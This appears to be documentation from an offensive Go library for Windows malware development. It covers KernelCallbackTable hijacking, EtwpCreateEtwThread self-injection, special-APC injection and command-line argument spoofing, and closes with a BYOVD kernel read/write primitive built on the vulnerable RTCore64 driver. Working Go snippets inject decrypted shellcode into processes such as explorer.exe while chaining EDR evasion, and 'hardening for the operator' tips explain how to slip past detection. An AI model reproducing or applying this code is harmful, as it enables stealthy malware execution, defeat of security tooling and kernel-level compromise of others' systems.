T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectioncallback variant — no thread creationD3-PCSV
T1055.015Process Injection: ListPlantingCreateTimerQueueTimer familyD3-PCSV

Limitations

  • Local only. All six methods execute in the calling process. Cross-process work needs a different primitive (SectionMapInject, KernelCallbackTable).
  • ExecuteCallback does not allocate. The address must already point at RX memory. Use ExecuteCallbackBytes for the alloc-flip-call path, or pair with ModuleStomp / VirtualAlloc + VirtualProtect for image-backed memory.
  • CET on two methods, auto-handled. CallbackRtlRegisterWait and CallbackNtNotifyChangeDirectory require the ENDBR64 prefix on Win11+ with shadow stacks enforced. inject.MethodEnforcesCET(method) reports which methods need the prefix; inject.ExecuteCallbackBytes(sc, method) checks that predicate against cet.Enforced() and cet.Wraps the shellcode automatically. Operators who pre-allocate themselves must cet.Wrap (or cet.Disable once at start-up) before passing the address to ExecuteCallback.
  • Synchronous methods block. EnumWindows and CertEnumSystemStore return only after the shellcode finishes. The shellcode must return cleanly (return 0) — long-running payloads should hand off to a fiber or thread internally.
  • Thread-pool worker context. CallbackRtlRegisterWait runs on a thread the implant did not create; locked OS resources held there are unfamiliar territory.

See also

KernelCallbackTable hijacking

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Every Windows process holds a KernelCallbackTable pointer in its PEB — a table of user-mode dispatch routines that the kernel calls back into for window-message handling. Overwrite the __fnCOPYDATA (index 3) slot in the target's table with the shellcode address, send the target window a WM_COPYDATA message, restore the original slot. Cross-process, no CreateThread, no APC.

TraitValue
Target classRemote (existing PID with at least one window)
Creates a new thread?No — kernel reuses the target's existing UI thread
Uses WriteProcessMemory?Yes (to swap the table slot, ~8 bytes)
Stealth tierHigh — no CreateThread / QueueAPC / SetContext entries; the WM_COPYDATA send is a normal IPC pattern
ConstraintTarget must have a window (USER32-loaded process). Console-only targets can't be hit.

When to pick a different method:

Primer

Windows' window-message dispatcher is split between the kernel and user mode. Certain messages (paint, copy-data, draw-icon, …) require the kernel to call back into the target process's user-mode code. To make that work, every process has a KernelCallbackTable pointer in its PEB; the kernel looks up the right callback by index and invokes it. The table is read-write user-mode memory; nothing prevents another process with PROCESS_VM_WRITE access from mutating an entry.

The implant takes the target's PEB address (via NtQueryInformationProcess), reads the KernelCallbackTable pointer, overwrites the __fnCOPYDATA slot (index 3) with the shellcode address, finds a window owned by the target with EnumWindows, sends it a WM_COPYDATA message, and waits for the kernel to dispatch. The kernel calls the slot — now pointing at the shellcode — as the target's main UI thread. The implant restores the original pointer afterwards.

Saif/Hexacorn published the family in 2020; ProjectXeno used a related variant in the wild. EDR coverage varies — the cross-process PEB write and the WM_COPYDATA send are the only loud syscalls.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: NtQueryInformationProcess(target, ProcessBasicInformation)
    Kern-->>Impl: PEB address

    Impl->>Kern: NtAllocateVirtualMemory(target, RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, RX)

    Impl->>Kern: NtReadVirtualMemory(target.PEB.KernelCallbackTable)
    Kern-->>Impl: kctAddress

    Impl->>Kern: NtReadVirtualMemory(kctAddress[3]) [save original]
    Kern-->>Impl: orig

    Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = shellcode)

    Impl->>Tgt: SendMessage(hwnd, WM_COPYDATA, ...)
    Note over Tgt: kernel dispatches via __fnCOPYDATA<br>→ shellcode runs

    Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = orig) [restore]

Steps:

  1. Resolve the target's PEB via NtQueryInformationProcess(ProcessBasicInformation).
  2. Allocate / write / protect the shellcode in the target.
  3. Read PEB.KernelCallbackTable to find the table address.
  4. Save the current [3] slot value.
  5. Overwrite [3] with the shellcode address.
  6. Find a window owned by pid (EnumWindows filtered by GetWindowThreadProcessId).
  7. Send WM_COPYDATA to that window.
  8. The kernel dispatches via the modified slot — shellcode runs.
  9. Restore the original [3] value.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.KernelCallbackExec(targetPID, shellcode, nil); err != nil {
    return err
}

Composed (indirect syscalls)

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.KernelCallbackExec(targetPID, shellcode, caller)

Advanced (evade + KCT inject)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

return inject.KernelCallbackExec(targetPID, shellcode, caller)

Complex (decrypt + target a UI process + inject + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/enum"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

target, err := enum.FindByName("explorer.exe")
if err != nil { return err }

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := inject.KernelCallbackExec(target.PID, shellcode, caller); err != nil {
    return err
}
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
Cross-process write into a target's PEB regionUserland EDR hooks on NtWriteVirtualMemory; kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits WriteVirtualMemory events
Mutation of KernelCallbackTable[3] (__fnCOPYDATA)Behavioural EDR rule (CrowdStrike, MDE) — the slot is rarely modified outside this technique
WM_COPYDATA sent across process boundaries from an unusual senderWindows-event-log heuristics; rare standalone signal
Synthetic WM_COPYDATA to a process whose receiver does not normally accept itApplication-level anomaly (e.g. notepad.exe receiving copy-data)

D3FEND counters:

  • D3-PSA — flags the cross-process PEB read/write pair.
  • D3-PCSV — verifies callback-table slots against image segments.

Hardening for the operator: target a UI-rich process whose message pump runs continuously (explorer.exe, RuntimeBroker.exe); restore the slot before any second message can arrive; pair with ntdll unhooking so the cross-process Nt calls dodge userland hooks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectioncallback-table variant — no CreateThread cross-processD3-PSA

Limitations

  • Target needs a window. Console-only and service processes have no top-level window; KernelCallbackExec returns an error.
  • Slot restoration is best-effort. If the shellcode does not return cleanly, the table stays poisoned and the next legitimate message dispatch crashes the target. Use a stub that returns immediately after detaching the payload.
  • Cross-process write still happens. NtWriteVirtualMemory runs twice (allocation + table mutation). EDR-Ti will see it; pair with unhooking to defeat userland-hook variants only.
  • No PPL targets. PPL processes deny cross-process VM operations.

See also

EtwpCreateEtwThread injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Self-injection via the internal ntdll!EtwpCreateEtwThread — ETW's private thread-creation routine. Allocates RX in the current process, writes shellcode, calls the routine with the shellcode address as the start point. Same end result as NtCreateThreadEx, but the underlying call is unexported and rarely hooked. Self-process only.

TraitValue
Target classSelf (current process)
Creates a new thread?Yes — but via an unexported, rarely-hooked routine
Uses WriteProcessMemory?No (current-process write only)
Stealth tierHigh — the unexported routine sits below most EDRs' inline-hook surface
DependencyResolves via PEB walk — robust to EDR API enumeration but breaks if Microsoft renames the symbol

When to pick a different method:

Primer

ETW (Event Tracing for Windows) maintains its own helper threads for trace-buffer management. Internally ntdll exposes the EtwpCreateEtwThread routine to spawn those helpers. The routine boils down to NtCreateThreadEx with ETW-specific flags and a small trampoline, but it is not exported by name — EDR products that hook NtCreateThreadEx for thread-creation telemetry typically do not also hook the private ETW routine.

The implant resolves EtwpCreateEtwThread by symbol lookup or hashed PEB walk, allocates an RX page in itself, and calls the routine with the shellcode address as the start point. A real OS thread starts at the shellcode — same outcome as CreateThread, far quieter on userland-hook telemetry.

This is self-process only. Cross-process work needs a different primitive.

How it works

flowchart LR
    A[VirtualAlloc RW] --> B[memcpy shellcode]
    B --> C[VirtualProtect → RX]
    C --> D[resolve ntdll!EtwpCreateEtwThread]
    D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
    E --> F[new OS thread runs shellcode]

Steps:

  1. Allocate / write / protect in the current process (RW → RX).
  2. Resolve ntdll!EtwpCreateEtwThread via GetProcAddress, manual export-table walk, or a hashed PEB walk.
  3. Call the routine with the shellcode address as the start parameter.

The internal routine ends up calling NtCreateThreadEx itself; the kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine). What the technique evades is the userland-hook layer that EDR products typically install on the documented CreateThread family.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (with SelfInjector for sleep masking)

import (
    "time"

    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(30 * time.Second)
        }
    }
}

Advanced (decrypt + ETWP inject + sleep mask)

import (
    "time"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(60 * time.Second)
        }
    }
}

Complex

The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor; the named-method path is canonical. To experiment with custom executors, replicate the resolve-and-call snippet from inject/injector_self_windows.go.

OPSEC & Detection

ArtefactWhere defenders look
Userland hooks on NtCreateThreadEx / CreateThreadBypassedEtwpCreateEtwThread is unexported
Kernel PsSetCreateThreadNotifyRoutine callbackStill fires — the kernel sees a normal thread creation
Stack-walking on the new threadThe start address points into a non-image RX region — same orphan signal as CreateRemoteThread
EtwpCreateEtwThread invocation from a non-ETW callerNiche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do

D3FEND counters:

  • D3-PSA — kernel callback still surfaces the new thread.
  • D3-PCSV — verifies the start address against image segments.

Hardening for the operator: combine with evasion/callstack to fake the call site so stack-walking telemetry does not trivially flag the orphan thread; pair with evasion/sleepmask to encrypt the RX region between activations.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055Process Injectionself-process variant via internal ntdll routineD3-PSA

Limitations

  • Self-process only. The routine starts a thread in the calling process. No PID parameter.
  • Not a kernel-callback bypass. PsSetCreateThreadNotifyRoutine still fires. The technique evades userland-hook telemetry only.
  • Undocumented. EtwpCreateEtwThread is internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates.
  • Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.

See also

NtQueueApcThreadEx — special user APC

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Cross-process APC injection that fires immediately at the next kernel-to-user transition, without the target needing to enter an alertable wait. Win10 1903+ only. Allocate / write / protect in the target as usual, then queue the APC with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag — the kernel delivers it on any thread the next time control returns to user mode.

TraitValue
Target classRemote (existing PID)
Creates a new thread?No — APC delivered to existing thread
Uses WriteProcessMemory?Yes (NtWriteVirtualMemory)
Stealth tierMedium — cleaner than CreateRemoteThread; still has WPM signal
Min Windows versionWin10 1903+ (special user APC flag)

When to pick a different method:

Primer

Standard QueueUserAPC only fires when the target thread enters an alertable wait (SleepEx, WaitForSingleObjectEx, …). Many real processes never enter alertable waits, so the classic APC technique either silently fails or relies on Early Bird's spawned-suspended trick. Special User APCs, introduced in Windows 10 build 18362 (version 1903), fire on the next kernel-to-user mode transition, regardless of wait state — the kernel forces the APC dispatch.

The flag (1 / QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) is exposed via the undocumented NtQueueApcThreadEx. Pass it on a thread handle opened with THREAD_SET_CONTEXT, and the kernel inserts a special-APC record that fires on the very next KiUserApcDispatcher return — which happens within microseconds for any actively-running thread.

The package enumerates threads of the target, tries each in turn, and stops at the first successful queue. Falls back to standard QueueUserAPC and then CreateRemoteThread when WithFallback() is set.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: OpenProcess(VM_OPERATION | VM_WRITE | VM_READ)
    Kern-->>Impl: hProcess
    Impl->>Kern: NtAllocateVirtualMemory(target, RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, RX)

    Impl->>Kern: enumerate threads of target
    loop until first success
        Impl->>Kern: NtOpenThread(tid, THREAD_SET_CONTEXT)
        Impl->>Kern: NtQueueApcThreadEx(hThread, FLAG=1, remoteAddr)
    end

    Note over Tgt: next KiUserApcDispatcher return<br>fires the special APC
    Tgt->>Tgt: shellcode runs

Steps:

  1. Open the target with PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ.
  2. Allocate / write / protect in the target.
  3. Enumerate threads via CreateToolhelp32Snapshot (or NtQuerySystemInformation if the caller demands it).
  4. For each thread: open with THREAD_SET_CONTEXT, call NtQueueApcThreadEx(hThread, 1, addr, 0, 0, 0).
  5. First success terminates the loop. The APC fires on the next kernel→user transition.

Standard APC vs special APC

AspectQueueUserAPC (standard)NtQueueApcThreadEx (special)
Alertable wait requiredyesno
Minimum Windows versionXP+10 1903 (build 18362)
API documentationdocumented (kernel32)undocumented (ntdll)
Suspended process requiredtypically (Early Bird)no
Delivery timingwhen thread enters alertable waitnext kernel→user transition
EDR monitoringwell-knownless observed but ETW-Ti emits

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls + fallback)

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    IndirectSyscalls().
    WithFallback().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (evade + locate target + special APC)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/enum"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

procs, err := enum.FindByName("notepad.exe")
if err != nil || len(procs) == 0 {
    return errors.New("target not found")
}

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(int(procs[0].PID)).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (decrypt + special APC + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    IndirectSyscalls().
    WithFallback().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
Cross-process NtAllocateVirtualMemory + NtWriteVirtualMemoryEDR userland hooks + ETW-Ti
NtQueueApcThreadEx with the special-APC flagETW-Ti (Microsoft-Windows-Threat-Intelligence) emits an ApcQueue event with the flag — newer EDR rules key on it specifically
Multiple consecutive NtOpenThread(THREAD_SET_CONTEXT)Behavioural EDR rule — opening every thread until one succeeds is unusual
APC start address outside any imageEDR memory scanners flag the orphan APC target

D3FEND counters:

  • D3-PSA — APC chain plus orphan start address is a strong signal.
  • D3-PCSV — APC start should match an image.

Hardening for the operator: combine with SectionMapInject or PhantomDLLInject to make the APC start address image-backed; pair with evasion/unhook so the cross-process Nt calls dodge userland hooks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.004Process Injection: Asynchronous Procedure Callspecial-APC variant — no alertable waitD3-PSA

Limitations

  • Win10 1903+ only. Older Windows builds lack the special-APC flag. The WithFallback() chain falls through to standard QueueUserAPC then CreateRemoteThread.
  • THREAD_SET_CONTEXT may be denied. Some hardened threads (services with restricted ACLs, PPL processes) refuse the open. The loop keeps trying; if every thread refuses, the inject fails.
  • Cross-process write still happens. The technique avoids the thread-creation event, not the VM-write event.
  • Undocumented flag. Microsoft has not promised stability for the special-APC flag. Verify after major build upgrades.
  • No PPL targets. Cross-process VM operations on PPL are denied.

See also

Process argument spoofing

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Spawn a child in CREATE_SUSPENDED with fake command-line arguments (what EDR/Sysmon records at process creation), then rewrite the PEB's RTL_USER_PROCESS_PARAMETERS.CommandLine UNICODE_STRING to the real arguments before resuming. The process executes with the real args; the audit trail shows the cover args. Not a shellcode injection on its own — a creation-time disguise that pairs with the suspended-child injection techniques.

TraitValue
Target classChild (suspended) — disguise only, not execution
Creates a new thread?n/a — disguise wrapper
Uses WriteProcessMemory?Yes (~30 bytes — UNICODE_STRING header + new args)
Stealth tierMedium — fools Sysmon/EDR process-creation logs; ETW Microsoft-Windows-Kernel-Process carries the original creation args separately
Composes withEarly Bird APC, Thread Hijack — the actual injection techniques on the same suspended child

When to pick a different method:

  • Want PPID disguise instead of arg disguise? → PPID Spoofing — sister technique, different field.
  • Don't need a child process at all? → Self / Local / Remote methods (see injection index).
  • Want BOTH disguises stacked? → Apply this + PPID Spoofing on the same CREATE_SUSPENDED call before any injection.

Primer

Process-creation telemetry on Windows captures the command-line at the moment NtCreateUserProcess runs. Sysmon Event 1 fires; EDRs snapshot the args; the kernel callback PsSetCreateProcessNotifyRoutineEx delivers them. Any monitoring tooling that keys on command-line content sees what the kernel saw at that instant.

Argument spoofing exploits the gap between creation and execution. The implant calls CreateProcessW with CREATE_SUSPENDED and a benign command line (cmd.exe /c dir). The kernel records the benign args. The implant then locates the suspended child's PEB, walks to ProcessParameters → CommandLine (a UNICODE_STRING), and rewrites its Buffer and Length with the real args before ResumeThread. The process now executes with the real command line; the kernel's audit record still says dir.

This is a disguise, not an injection. It is typically paired with MethodEarlyBirdAPC, MethodThreadHijack, or other suspended-child techniques to make the visible command line of the sacrificial child blend in.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant EDR as "EDR / Sysmon"
    participant Child as "Child (suspended)"

    Impl->>Kern: CreateProcess("cmd.exe /c dir", SUSPENDED)
    Kern->>EDR: Event 1: "cmd.exe /c dir"
    Kern-->>Impl: hProcess, hThread
    Kern->>Child: frozen, PEB has fake args

    Impl->>Kern: NtQueryInformationProcess(ProcessBasicInformation)
    Kern-->>Impl: PEB address
    Impl->>Child: ReadProcessMemory(PEB.ProcessParameters)
    Impl->>Child: ReadProcessMemory(.CommandLine UNICODE_STRING)

    Impl->>Child: WriteProcessMemory(CommandLine.Buffer = real args)
    Impl->>Child: WriteProcessMemory(CommandLine.Length = newLen)

    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: runs with real args
    Note over Child,EDR: EDR audit still says "cmd.exe /c dir"

Steps:

  1. CreateProcessW(SUSPENDED, "cmd.exe /c dir") — kernel records the fake args.
  2. NtQueryInformationProcess(ProcessBasicInformation) — get the child's PEB.
  3. ReadProcessMemory at PEB+0x20 (x64) for the RTL_USER_PROCESS_PARAMETERS pointer.
  4. ReadProcessMemory at ProcessParameters+0x70 for the CommandLine UNICODE_STRING.
  5. Encode the real command line as UTF-16LE; WriteProcessMemory into CommandLine.Buffer; update CommandLine.Length.
  6. Caller resumes the thread when ready (or hands the suspended child off to a paired injection technique).

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c whoami /priv`,
)
if err != nil { return err }
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)

// caller resumes when ready
_, _ = windows.ResumeThread(pi.Thread)

Composed (spoofed args + Early Bird APC into the same child)

The spoofed-arg child is the perfect host for Early Bird APC: the audit trail says cmd.exe /c dir, but the child runs the implant's shellcode before its own entry point.

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c echo benign`,
)
if err != nil { return err }

// Hand the suspended child to the Early Bird path. The package's
// EarlyBirdAPC injector takes a fresh ProcessPath; for an existing
// suspended child, drive the primitives directly:
//   - NtAllocateVirtualMemory(pi.Process, RW)
//   - NtWriteVirtualMemory(shellcode)
//   - NtProtectVirtualMemory(RX)
//   - NtQueueApcThread(pi.Thread, addr)
//   - ResumeThread(pi.Thread)

Advanced (PPID spoof + arg spoof)

Combine with process/spoofparent to also lie about the parent process — the audit trail then shows a plausible parent + plausible args.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/spoofparent"
)

token, err := spoofparent.AcquireParentToken("services.exe")
if err != nil { return err }
defer token.Close()

return spoofparent.RunAs(token, func() error {
    pi, err := inject.SpawnWithSpoofedArgs(
        `C:\Windows\System32\cmd.exe`,
        `cmd.exe /c dir C:\                                        `,
        `cmd.exe /c whoami /all`,
    )
    if err != nil { return err }
    _, _ = windows.ResumeThread(pi.Thread)
    return nil
})

Complex (full chain: arg spoof + thread hijack + indirect syscalls)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c echo benign`,
)
if err != nil { return err }

// Now thread-hijack the spawned child instead of resuming it normally.
// The high-level inject.MethodThreadHijack assumes its own spawn; for
// an existing suspended child, replicate the read CONTEXT → mutate Rip
// → set CONTEXT → resume sequence — see thread-hijack.md.

OPSEC & Detection

ArtefactWhere defenders look
Padded command line at creation timeEDR rules sometimes flag long whitespace runs in cmd.exe args
Cross-process WriteProcessMemory into a freshly-spawned childEDR userland hooks + ETW-Ti WriteVirtualMemory
RTL_USER_PROCESS_PARAMETERS.CommandLine mutation between CreateProcess and ResumeThreadHigh-end EDRs (CrowdStrike, MDE, SentinelOne) compare the live PEB at multiple checkpoints — strong signal when fake ≠ real
Live GetCommandLineW() ≠ EDR-recorded command lineEndpoint scrapers that re-read the PEB after creation catch the lie

D3FEND counters:

  • D3-PSA — multi-checkpoint command-line comparison.
  • D3-EAL — WDAC validates execution but does not prevent the spoof itself.

Hardening for the operator: keep fakeArgs plausible (no obvious padding patterns); pair with PPID spoofing so the child has both a plausible parent and plausible args; route the cross-process Nt calls through indirect syscalls; mind that the high-end EDRs that re-snapshot the PEB beat this technique.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1564.010Hide Artifacts: Process Argument SpoofingPEB rewrite between creation and resumeD3-PSA
T1036.005Masquerading: Match Legitimate Name or Locationcombine with a legitimate exePath for full audit-trail disguiseD3-PSA

Limitations

  • MaximumLength cap. The spoofed buffer cannot grow beyond what CreateProcessW allocated. Pad fakeArgs to leave room.
  • Live PEB scrapers defeat it. EDRs that re-read PEB.ProcessParameters.CommandLine after process creation see the real args. The technique only fools consumers that snapshot at creation time (Sysmon Event 1, basic EDR, kernel callback).
  • Not an injection. SpawnWithSpoofedArgs only rewrites the PEB. Pair with another technique to actually run shellcode in the child.
  • Cross-process write fires. WriteProcessMemory runs twice (CommandLine buffer + length). EDR-Ti will see it.
  • Whitespace padding is fingerprintable. Some EDR rules look for unusually long padding inside command-line strings.

See also

Kernel-mode primitives (kernel/*)

← maldev README · docs/index

The kernel/* package tree exposes userland-callable kernel read/write primitives by abusing signed-but-vulnerable third-party drivers (BYOVD). Userland obtains kernel R/W without loading an unsigned driver — defeats HVCI on hosts older than the 2021-09 vulnerable-driver block-list update.

flowchart LR
    Caller -->|Driver.Install| Lifecycle["NtLoadDriver +<br>SCM CreateService/Start"]
    Lifecycle --> SignedSys["RTCore64.sys (signed)"]
    SignedSys --> IOCTL["IOCTL 0x80002048 / 0x8000204C"]
    IOCTL --> Kernel["arbitrary kernel R/W"]
    Kernel -->|consumed by| KCB["evasion/kcallback"]
    Kernel -->|consumed by| LSASS["credentials/lsassdump"]

Where to start (novice path):

The kernel/* packages are foundations consumed by higher-layer techniques (LSASS PPL bypass, kernel-callback removal). Most operators land here from one of those.

  1. Read byovd-rtcore64 once to understand the BYOVD pattern (load RTCore64.sys, IOCTL for kernel R/W, HVCI block-list cutoff).
  2. Then go back to your higher-layer use case:
  3. The decision tree below maps every common need to the higher-layer entry point.

Decision tree

Operator questionPackage / page
"I need to wipe a kernel-callback array."evasion/kcallback feeds on this primitive
"I need to dump LSASS bypassing PPL."credentials/lsassdump
"I need a signed BYOVD driver to install."kernel/driver/rtcore64

Per-package pages

  • byovd-rtcore64.md — RTCore64.sys (CVE-2019-16098). Microsoft-attested signed; refused on HVCI hosts ≥ 2021-09 vulnerable-driver block-list.

Common contract

Every concrete BYOVD driver implements three interfaces from the umbrella package:

Sentinel errors: ErrNotImplemented, ErrNotLoaded, ErrPrivilegeRequired (caller lacks SeLoadDriverPrivilege).

MITRE ATT&CK rollup

IDTechniqueOwners
T1014Rootkitkernel/driver, kernel/driver/rtcore64
T1543.003Create or Modify System Process: Windows Serviceservice install path
T1068Exploitation for Privilege EscalationIOCTL R/W primitive

See also

BYOVD — RTCore64 (CVE-2019-16098)

← kernel techniques · docs/index

MITRE ATT&CK: T1014 — Rootkit + T1543.003 — Create or Modify System Process: Windows Service + T1068 — Exploitation for Privilege Escalation Package: kernel/driver/rtcore64 Platform: Windows amd64 Detection: very-noisy during driver load; moderate steady-state


TL;DR

You need arbitrary kernel read/write from user mode (typically to bypass LSASS PPL or zero a kernel callback). This package loads MSI Afterburner's signed RTCore64.sys driver, exploits its CVE-2019-16098 read/write IOCTL, and exposes kernel/driver.ReadWriter to the consumer.

You want to…UseConstraint
Get a kernel R/W primitiveInstallAdmin + SeLoadDriverPrivilege + driver bytes shipped
Read kernel memoryReadKernelAfter Install succeeded
Write kernel memoryWriteKernelSame
Clean up after the opUninstallBest-effort — deletes service + unregisters driver

HVCI block-list cutoff: as of 2021-09 Microsoft ships a driver block-list that includes RTCore64. On HVCI-on hosts newer than the block-list update, the driver load is refused. Verify via Loaded / catch ErrPrivilegeRequired / probe with a non-destructive read before relying on this primitive.

Driver bytes not bundled — ship RTCore64.sys via //go:embed behind the byovd_rtcore64 build tag, OR via Config.Bytes. Default builds return ErrDriverBytesMissing to keep the maldev repo free of the signed driver itself.

What this DOES achieve:

What this does NOT achieve:

  • Stealth driver loadNtLoadDriver + SCM CreateService fire kernel callbacks, ETW Microsoft-Windows-Kernel-Process, and Defender's "Microsoft-attested driver" detection. Driver install IS the loud event; once loaded, IOCTLs are quieter.
  • PatchGuard immunity — RTCore64's slow-IOCTL pattern generally stays below PG's scan thresholds, but kernel writes to certain critical structures (KPP-protected pages) trigger BSOD on next scan. Tested-safe targets documented in the consumer pages.
  • Doesn't survive reboot — service registration cleaned by Uninstall. For persistence of kernel R/W, you need a different primitive.

Primer

EDR vendors register kernel-mode callbacks (PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, …) that receive every process/thread/image-load event. To remove them — or to read kernel structures like EPROCESS.Protection (LSASS PPL) or PspCreateProcessNotifyRoutine[] — userland needs an arbitrary kernel read/write primitive.

